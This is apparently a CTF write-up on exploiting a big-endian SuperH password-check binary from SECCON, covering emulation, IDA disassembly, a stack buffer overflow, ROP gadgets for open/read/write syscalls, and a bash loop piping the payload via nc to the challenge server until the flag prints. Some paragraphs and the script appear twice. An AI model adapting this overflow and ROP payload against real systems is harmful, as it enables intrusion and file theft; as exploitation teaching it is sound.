Executing the file command on the provided binary gives the following output:
$ file passcheck-sh
passcheck-sh: ELF 32-bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Well, after a quick session with a search engine I managed to find both big- end little-endian SH emulators for Linux (in the qemu package), but further research revealed that the operating systems (user-lands) come in the little-endian flavor only and we have a big-endian binary. Bummer!
Having a working OS image would be a real help. In such case I would be able to debug the thing, and tests various stages of the exploit developed. Unfortunately, creating even a stub of OS (bash and friends) would take quite a lot of time, so I decided to simply use the little-endian flavor. And it turned out to be quite useful later on.
While booting the emulator, I opened the file in IDA-Pro, and took a look at the resulting disassembly stream. It was rather straightforward. I was able to rather quickly understand the meaning of basic assembler instructions (mov, jsr, rts, sts, lds, trapa, nop) and how the registers are utilized (e.g. r15 as SP). The only peculiar thing was the syscall execution procedure (function names are completely mine).
.text:00004054 syscall_write: .text:00004054 sts.l pr, @-r15 .text:00004056 mov r4, r1 .text:00004058 mov r5, r2 .text:0000405A mov r6, r7 .text:0000405C mov #4, r4 .text:0000405E mov r1, r5 .text:00004060 mov.l #maybe_syscall, r0 .text:00004062 jsr @r0 ; maybe_syscall .text:00004064 mov r2, r6 .text:00004066 lds.l @r15+, pr .text:00004068 rts .text:0000406A nop
...
.text:0000401C maybe_syscall: .text:0000401C .text:0000401C trapa #h'22 .text:0000401E rts
In order to run a working binary (on a little-endian system) I had to modify it (i.e. the IDA-Pro assembler output) a bit before compiling with gcc. After this modification, the maybe_syscall took the following form:
mov r4, r3
mov r5, r4
mov r6, r5
mov r7, r6
trapa #0x17
rts
Let's compile and run it:
$ gcc -Wl,-Tdata=0xffa000 pass.s -o pass -nostdlib
$ ./pass
Input password:
Voila!
BTW, the -Wl,-Tdata=0xffa000 flag is necessary, because the original binary used this memory chunk as a stack, by doing:
.text:00004000 _start:
.text:00004000 mov.l #h'FFB000, r15
.text:00004002 mov.l #stage1, r1
.text:00004004 jsr @r1 ; stage1
Ok, now we have a working binary, but it's incompatible (endianess). Still, it's very useful for testing. Typing a lot of ASCII characters (a typical first test) as a response to Input password: resulted in
$ ./pass
Input password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Is it our bug? We could read the output of IDA-Pro, but we can also (in absence of working gdb, which was simply crashing with any binary) use...
$ strace -e trace=none ./pass
Input password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
+++ killed by SIGSEGV +++
Segmentation fault
Well, ok, the SEGV_MAPPER value can stand for at least a few things: unmapped address, bad permission bits, address execution fault, address fetch fault etc. So, reading output of the disassembler to confirm our assumptions is always a good idea. I did it (spent some time with annotating functions and trying to understand the execution flow), and yeah, that's out bug (buffer overflow on the stack and no ASLR/PIE/SSP).
Update: Later that day I realized that I could have used 'strace -i -e trace=none ./<binary>' to confirm that IP is set to 0x41414141.
Update: Later that day I realized that I could have used 'strace -i -e trace=none ./<binary>' to confirm that IP is set to 0x41414141.
Should be easy, right? Well.. not really, the stack is non-executable. Or, rather it is, but only under the qemu emulator and not while testing it on the CTF infrastructure (by creating a simple exploit, and compiling it under my SH emulator, which can, BTW, compile both for little- and big-endian CPUs).
So, were they using a real SuperH machine (Linux on Sega:)? Interesting. At this point the only one thing I could think of was, wait for it, ROP! :)
So, were they using a real SuperH machine (Linux on Sega:)? Interesting. At this point the only one thing I could think of was, wait for it, ROP! :)
By using user version of the qemu-sh emulator (qemu-sh4) and testing it with AAAAAAAAAAAAAA..... input I realized that ip, r4, r5, r6 and r7 registers held my 0x41414141 values as well, which seemed awesome, because authors of the challenge basically must have given to us a ROP gadget which is preparing registers for syscalls. One of those gadgets is located here:
.text:0000424C mov.l @r15+, r7
.text:0000424E mov.l @r15+, r6
.text:00004250 mov.l @r15+, r5
.text:00004252 mov.l @r15+, r4
.text:00004254 lds.l @r15+, pr
.text:00004256 rts
.text:00004254 lds.l @r15+, r8 (due to delayed branching
it will be executed as well!!!)
.text:00004254 lds.l @r15+, r8 (due to delayed branching
it will be executed as well!!!)
There's only one thing that needs to be changed here though. If we did what I just described the maybe_syscall function will loop itself forever, because under SuperH the last return address is stored in the PR register and not on the execution stack. Therefore I had to jump trough a jsr/rts stub, which can be found here:
.text:00004028 mov.l #maybe_syscall, r0
.text:0000402A jsr @r0 ; maybe_syscall
.text:0000402C nop
.text:0000402E lds.l @r15+, pr
.text:00004030 rts
open:
- syscall_nr: 5
- arg_1 = ptr to "flag.txt" (provided by me on the stack)
- arg_2 = 0 (O_RDONLY)
- arg_3 = irrelevant (not used with O_RDONLY)
read:
- syscall_nr: 3
- arg_1 = resulting file-descriptor (unknown to us at this point)
- arg_2 = ptr to a free stack buffer (we can simply overwrite the "flag.txt" string here) - 0x00FFB02C
- arg_3 = some numeric value, like 20 or 30 or so (number of bytes to read, roughly equal or greater than the expected flag size)
write:
- syscall_nr: 4
- arg_1 = 1 (stdout)
- arg_2 = ptr to our buffer - in our case: 0x00FFB02C
- arg_3 = some low-number value (number of bytes to write)
At this point I didn't know what file-descriptor number will the open syscall return. I assumed it's 3, but one never knows, so I chose to brute-force it :). The resulting shell-code is attached below: (admit it, bash haxxxoring is the best haxxxoring, python s..cks :). An alternative would be to invoke close(3) before calling open.
#!/bin/bash
while [ 1 ]; do
for x in `seq 2 20`; do
A=`printf "%02x" $x`;
echo == $A === >>/tmp/haslo;
{ echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xB0\x2C\x00\x00\x00\x05";
echo -ne "\x00\x00\x40\x28";
echo -ne "1111";
echo -ne "\x00\x00\x42\x4C";
echo -ne "\x00\x00\x00\x40\x00\xFF\xB0\x2C\x00\x00\x00\x$A\x00\x00\x00\x03";
echo -ne "\x00\x00\x40\x28";
echo -ne "1111";
echo -ne "\x00\x00\x42\x4C";
echo -ne "\x00\x00\x03\x00\x00\xFF\xB0\x2C\x00\x00\x00\x01\x00\x00\x00\x04";
echo -ne "\x00\x00\x40\x28";
echo -ne "flag.txt\x00";
echo; } | nc -v micro.pwn.seccon.jp 10000 >>/tmp/haslo;
done
done
while [ 1 ]; do
for x in `seq 2 20`; do
A=`printf "%02x" $x`;
echo == $A === >>/tmp/haslo;
{ echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xB0\x2C\x00\x00\x00\x05";
echo -ne "\x00\x00\x40\x28";
echo -ne "1111";
echo -ne "\x00\x00\x42\x4C";
echo -ne "\x00\x00\x00\x40\x00\xFF\xB0\x2C\x00\x00\x00\x$A\x00\x00\x00\x03";
echo -ne "\x00\x00\x40\x28";
echo -ne "1111";
echo -ne "\x00\x00\x42\x4C";
echo -ne "\x00\x00\x03\x00\x00\xFF\xB0\x2C\x00\x00\x00\x01\x00\x00\x00\x04";
echo -ne "\x00\x00\x40\x28";
echo -ne "flag.txt\x00";
echo; } | nc -v micro.pwn.seccon.jp 10000 >>/tmp/haslo;
done
done
After couple of iterations (because the resulting file-descriptor from the open syscall can be anything, and we need to match it with the second read syscall), the password will appear in /tmp/haslo :).
Input password: flag.txt
== 03 ===
Input password: flag.txt
== 04 ===
Input password: flag.txt
== 05 ===
Input password: flag.txt
== 06 ===
Input password: SECCON{CakeOfBeanCurd}
== 07 ===
Input password: flag.txt
No comments:
Post a Comment